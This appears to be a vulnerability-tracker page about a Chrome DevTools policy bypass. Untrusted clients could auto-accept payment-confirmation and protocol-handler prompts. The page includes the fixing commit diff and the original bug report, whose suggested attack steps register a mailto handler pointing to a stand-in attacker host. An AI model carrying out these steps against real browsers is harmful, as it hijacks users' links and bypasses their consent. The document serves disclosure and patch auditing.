Low watch CVSS 5.4 chrome Policy Bypass 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
5.4
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in DevTools
DescriptionInsufficient policy enforcement in DevTools
ComponentDevTools
Bug ClassPolicy Bypass
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker496373088
Fix commitd283fa55777a (chromium/src) +20/-4
CWECWE-451
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L
CISA KEVNot listed
CreditedGoogle
Reported2026-03-26 (per vendor advisory)
Fix landed2026-04-01 (public git)
Disclosed2026-05-05
Patch gap34 days — fix public in source before the advisory

Background

DevTools client trust
the Chrome DevTools Protocol (CDP) distinguishes trusted front-ends (the real DevTools UI) from untrusted clients such as extensions holding the debugger permission, surfaced via channel->GetClient()->IsTrusted().
`IsDomainAvailableToUntrustedClient<T>()`
a per-handler policy that decides whether a given CDP domain handler (here PageHandler) may be instantiated for an untrusted client at all.
Secure Payment Confirmation (SPC)
a payments flow whose trusted UI shows payee and amount before an OS biometric prompt authorizes the transaction.
`Page.setSPCTransactionMode` / `Page.setRPHRegistrationMode`
experimental CDP commands that auto-accept (or auto-reject) the SPC transaction dialog and the custom-protocol-handler (RPH) registration prompt without user interaction.

Root Cause Analysis

PageHandler was instantiated for untrusted clients whenever IsDomainAvailableToUntrustedClient<PageHandler>() permitted the Page domain, but the per-command handlers PageHandler::SetSPCTransactionMode and PageHandler::SetRPHRegistrationMode performed no trust check of their own. As a result an untrusted client could invoke these commands and force dialogs into an auto-accept mode, violating the invariant that security-sensitive confirmation UI (SPC transaction review, protocol-handler consent) requires either a trusted caller or genuine user interaction.

The fix threads the connection’s trust bit into the handler: ChromeDevToolsSession now passes channel->GetClient()->IsTrusted() to the PageHandler constructor, which stores it in the new const bool is_trusted_. Each command then early-returns protocol::Response::ServerError(...) when !is_trusted_, before reaching the dialog-mode logic, so untrusted callers are rejected. This is a tightening: a previously missing authorization gate was added.

Key insight
The Page domain was reachable by untrusted clients, but two of its commands that silence security prompts never re-checked caller trust; the fix adds a per-command !is_trusted_ guard so these specific commands require a trusted client even when the domain itself is exposed.

Attack Path

  1. Obtain an untrusted CDP channel an extension with the debugger permission (or another untrusted client) attaches to a tab, for which PageHandler is created because the Page domain is available to untrusted clients.
  2. Invoke `Page.setSPCTransactionMode` pre-patch this returned success and set the SPC dialog to auto-accept, bypassing the trusted review UI that shows payee and amount and leaving only a context-free OS biometric prompt.
  3. Or invoke `Page.setRPHRegistrationMode` pre-patch this silently set the protocol-handler registration prompt to auto-accept, registering a handler without user consent.
  4. Leverage the suppressed prompt authorize a tampered payment or register an attacker-chosen protocol handler without meaningful user confirmation (the concrete payment-tampering outcome is described by the advisory as potential, marked (inferred)).

Impact Assessment

An untrusted DevTools client (e.g. a debugger-permission extension) could suppress user consent on SPC transaction dialogs and custom protocol-handler registration prompts in the browser process context, with the sole precondition of an attached CDP session to the target page. The advisory rates this low severity and describes insufficient policy enforcement in DevTools; escalation to actually authorizing a tampered payment is stated only as a possibility and is marked (inferred). There is no indication of exploitation in the wild.

Changed Functions

FunctionChangeNotes
is_trusted_
chrome/browser/devtools/protocol/page_handler.cc
modified
if
chrome/browser/devtools/protocol/page_handler.cc
modified

Files Changed

  • chrome/browser/devtools/chrome_devtools_session.cc
  • chrome/browser/devtools/protocol/page_handler.cc
  • chrome/browser/devtools/protocol/page_handler.h

Audit Directions

  • Domain-available-but-command-unguarded
    for every handler constructed under IsDomainAvailableToUntrustedClient<T>(), audit each individual command for a per-command trust re-check; domain-level exposure does not imply every command is safe for untrusted clients.
  • Consent-suppressing CDP commands
    review any command that sets an auto-accept/auto-dismiss “mode” on a security dialog (payments, permissions, protocol handlers, downloads) to confirm it gates on IsTrusted().
  • Trust bit not threaded to handlers
    look for handlers that receive only agent_host/web_contents but not the client trust state, where enforcement must instead live inside each sensitive method.
From d283fa55777a691531f3eceb8020dd890548e680 Mon Sep 17 00:00:00 2001
From: Danil Somsikov <[email protected]>
Date: Wed, 01 Apr 2026 01:21:37 -0700
Subject: [PATCH] Restrict Page.setSPCTransactionMode and Page.setRPHRegistrationMode to trusted DevTools clients

The experimental DevTools commands Page.setSPCTransactionMode and
Page.setRPHRegistrationMode lacked trust restrictions, allowing
untrusted DevTools clients (such as Chrome extensions with the
`debugger` permission) to automatically accept dialogs without user
interaction.

For Page.setSPCTransactionMode, this bypassed the primary UI where
users review transaction details (payee, amount) for Secure Payment
Confirmation (SPC), leaving only a generic OS-level biometric prompt
that lacks context and could potentially be exploited to authorize
tampered payments.

Similarly, Page.setRPHRegistrationMode could be exploited to silently
accept custom protocol handler registration prompts, bypassing user
consent.

Fixed: 496426191, 496373088
Change-Id: I49cafe716e5c81c3715f8bde30e579d4cc9a01b8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7707756
Commit-Queue: Danil Somsikov <[email protected]>
Auto-Submit: Danil Somsikov <[email protected]>
Reviewed-by: Andrey Kosyakov <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1608355}
---

diff --git a/chrome/browser/devtools/chrome_devtools_session.cc b/chrome/browser/devtools/chrome_devtools_session.cc
index e01701b..07560364 100644
--- a/chrome/browser/devtools/chrome_devtools_session.cc
+++ b/chrome/browser/devtools/chrome_devtools_session.cc
@@ -61,7 +61,8 @@
     if (IsDomainAvailableToUntrustedClient<PageHandler>() ||
         channel->GetClient()->IsTrusted()) {
       page_handler_ = std::make_unique<PageHandler>(
-          agent_host, agent_host->GetWebContents(), &dispatcher_);
+          agent_host, agent_host->GetWebContents(), &dispatcher_,
+          channel->GetClient()->IsTrusted());
     }
     if (IsDomainAvailableToUntrustedClient<SecurityHandler>() ||
         channel->GetClient()->IsTrusted()) {
diff --git a/chrome/browser/devtools/protocol/page_handler.cc b/chrome/browser/devtools/protocol/page_handler.cc
index c5c79bf..bc3122f4 100644
--- a/chrome/browser/devtools/protocol/page_handler.cc
+++ b/chrome/browser/devtools/protocol/page_handler.cc
@@ -37,8 +37,11 @@
 
 PageHandler::PageHandler(scoped_refptr<content::DevToolsAgentHost> agent_host,
                          content::WebContents* web_contents,
-                         protocol::UberDispatcher* dispatcher)
-    : agent_host_(agent_host), web_contents_(web_contents->GetWeakPtr()) {
+                         protocol::UberDispatcher* dispatcher,
+                         bool is_trusted)
+    : agent_host_(agent_host),
+      web_contents_(web_contents->GetWeakPtr()),
+      is_trusted_(is_trusted) {
   protocol::Page::Dispatcher::wire(dispatcher, this);
 }
 
@@ -86,6 +89,11 @@
 
 protocol::Response PageHandler::SetSPCTransactionMode(
     const protocol::String& mode) {
+  if (!is_trusted_) {
+    return protocol::Response::ServerError(
+        "Permission denied: Page.setSPCTransactionMode requires a trusted "
+        "client");
+  }
   if (!web_contents_)
     return protocol::Response::ServerError("No web contents to host a dialog.");
 
@@ -117,6 +125,11 @@
   if (!web_contents_) {
     return protocol::Response::ServerError("No web contents to host a dialog.");
   }
+  if (!is_trusted_) {
+    return protocol::Response::ServerError(
+        "Permission denied: Page.setRPHRegistrationMode requires a trusted "
+        "client");
+  }
 
   custom_handlers::RphRegistrationMode rph_mode =
       custom_handlers::RphRegistrationMode::kNone;
diff --git a/chrome/browser/devtools/protocol/page_handler.h b/chrome/browser/devtools/protocol/page_handler.h
index 90b717f..4c2c12fc 100644
--- a/chrome/browser/devtools/protocol/page_handler.h
+++ b/chrome/browser/devtools/protocol/page_handler.h
@@ -31,7 +31,8 @@
  public:
   PageHandler(scoped_refptr<content::DevToolsAgentHost> agent_host,
               content::WebContents* web_contents,
-              protocol::UberDispatcher* dispatcher);
+              protocol::UberDispatcher* dispatcher,
+              bool is_trusted);
 
   PageHandler(const PageHandler&) = delete;
   PageHandler& operator=(const PageHandler&) = delete;
@@ -99,6 +100,7 @@
   base::WeakPtr<content::WebContents> web_contents_;
 
   bool enabled_ = false;
+  const bool is_trusted_;
 
   base::WeakPtrFactory<PageHandler> weak_ptr_factory_{this};
 };
Loading diff…

Original Bug Report

reported by [email protected]

Protocol handler hijacking via Page.setRPHRegistrationMode

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: An extension with the debugger permission can use the Page.setRPHRegistrationMode DevTools command to silently enable profile-wide automatic acceptance of protocol handler registrations. This allows the silent, persistent hijacking of sensitive URI schemes like mailto: without a user permission prompt. Furthermore, the auto-accept state is not reverted when the debugger detaches, leaving the browser vulnerable to silent hijacking by any website.

Affected files:

  • chrome/browser/devtools/protocol/page_handler.cc
  • chrome/browser/devtools/chrome_devtools_session.cc
  • chrome/browser/ui/browser.cc
  • components/custom_handlers/protocol_handler_registry.cc
  • chrome/browser/custom_handlers/protocol_handler_registry_factory.cc

Estimated timestamp from git blame: 2025-06-23

Description

There is a potential vulnerability in how the DevTools Page domain handles the SetRPHRegistrationMode command when invoked by untrusted clients (e.g., extensions using chrome.debugger). By setting the mode to autoAccept, a malicious extension can globally bypass the user permission prompt for navigator.registerProtocolHandler().

Because the underlying ProtocolHandlerRegistry is shared profile-wide, this bypass affects the entire browser profile. When a protocol handler is registered under this mode, it is permanently saved to the user’s disk preferences. Additionally, PageHandler::Disable() fails to reset this state, meaning the browser remains in an insecure state even after the extension detaches or is uninstalled, allowing any website to silently hijack protocol handlers until the browser is restarted.

Note: The following steps are suggested/potential, as our setup does not currently have the ability to run code to verify the exploit end-to-end.

Potential Attack Steps

  1. A malicious extension with the debugger permission is installed and uses chrome.debugger.attach to attach to a tab.
  2. The extension sends the Page.setRPHRegistrationMode command with mode: 'autoAccept'.
  3. The command is handled by PageHandler::SetRPHRegistrationMode (chrome/browser/devtools/protocol/page_handler.cc), which fetches the profile-wide ProtocolHandlerRegistry and sets its registration_mode_ to kAutoAccept.
  4. The extension executes JavaScript in the tab (e.g., via Runtime.evaluate with userGesture: true) to call navigator.registerProtocolHandler('mailto', 'https://attacker.com/?q=%s').
  5. The IPC request reaches Browser::RegisterProtocolHandler (chrome/browser/ui/browser.cc), which checks the registry’s registration_mode(). Seeing kAutoAccept, it bypasses the PermissionRequestManager and directly accepts the registration.
  6. The registration is saved to disk via ProtocolHandlerRegistry::Save(), making the hijack persistent across browser restarts.
  7. The extension detaches. PageHandler::Disable() (chrome/browser/devtools/protocol/page_handler.cc) is called but fails to reset the RphRegistrationMode (unlike SPCTransactionMode, which is properly reset).
  8. The profile remains stuck in kAutoAccept mode. Any arbitrary website the user visits can now silently register protocol handlers until the browser process is fully restarted.

Suggested Fix

  1. State Cleanup: Update PageHandler::Disable() in chrome/browser/devtools/protocol/page_handler.cc to explicitly reset the registration mode back to kNone, similar to how it handles SPC transaction modes:
    SetRPHRegistrationMode(protocol::Page::SetRPHRegistrationMode::ModeEnum::None);
    
  2. Scope Limitation: Consider whether untrusted DevTools clients (like extensions) should be permitted to alter profile-wide state like the ProtocolHandlerRegistry mode. It may be appropriate to restrict SetRPHRegistrationMode to trusted clients only, or ensure the mock mode only applies to the specific WebContents rather than the entire BrowserContext.

Evaluated with Chrome root at commit: 0eb4855bda702feaaa8b899336664f97e3df88b8


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. Please feel free to reach out to me if you have concerns or feedback.

View on issue tracker
Links in the report